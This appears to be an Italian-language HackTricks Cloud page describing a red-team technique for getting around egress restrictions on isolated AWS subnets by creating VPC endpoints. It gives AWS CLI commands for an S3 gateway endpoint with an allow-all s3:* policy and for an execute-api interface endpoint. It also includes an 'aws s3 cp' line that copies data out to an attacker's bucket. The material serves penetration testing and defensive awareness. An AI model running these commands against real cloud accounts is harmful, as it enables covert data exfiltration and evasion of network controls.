AWS – Bypass dell'egress dalle subnet isolate tramite VPC Endpoints
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Riepilogo
Questa tecnica sfrutta i VPC Endpoints per creare canali di esfiltrazione da subnet senza Internet Gateways o NAT. I Gateway endpoints (e.g., S3) aggiungono route di prefix‑list nelle route table delle subnet; gli Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) creano ENI raggiungibili con IP privati protetti da security group. Con permessi minimi su VPC/EC2, un attaccante può abilitare un egress controllato che non attraversa l'Internet pubblica.
Prerequisiti: VPC esistente e subnet private (no IGW/NAT). Ti serviranno permessi per creare VPC endpoints e, per l'Opzione B, uno security group da associare alle ENI dell'endpoint.
Opzione A – S3 Gateway VPC Endpoint
Variabili
- REGION=us-east-1
- VPC_ID=<target vpc>
- RTB_IDS=<comma-separated route table IDs of private subnets>
- Crea un file di policy permissiva per l'endpoint (opzionale). Salva come allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- Crea l'endpoint S3 Gateway (aggiunge S3 prefix‑list route alle tabelle di route selezionate):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional
Evidenze da raccogliere:
- aws ec2 describe-route-tables --route-table-ids $RTB_IDSmostra una route verso la prefix list S3 di AWS (es.,- DestinationPrefixListId=pl-..., GatewayId=vpce-...).
- Da un'istanza in quelle subnets (con IAM perms) puoi exfil via S3 senza Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Opzione B – Interface VPC Endpoint for API Gateway (execute-api)
Variabili
- REGION=us-east-1
- VPC_ID=<target vpc>
- SUBNET_IDS=<comma-separated private subnets>
- SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Crea l'interface endpoint e associa il SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Evidenze da raccogliere:
- aws ec2 describe-vpc-endpointsmostra l'endpoint in stato- availablecon- NetworkInterfaceIds(ENIs nelle tue subnet).
- Le istanze in quelle subnet possono raggiungere endpoint Private API Gateway attraverso quei VPCE ENIs (nessun percorso Internet richiesto).
Impatto
- Elude i controlli di egress perimetrali sfruttando percorsi privati gestiti da AWS verso i servizi AWS.
- Consente l'exfiltrazione di dati da subnet isolate (ad es., scrittura su S3; chiamate a Private API Gateway; accesso a Secrets Manager/SSM/STS, ecc.) senza IGW/NAT.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud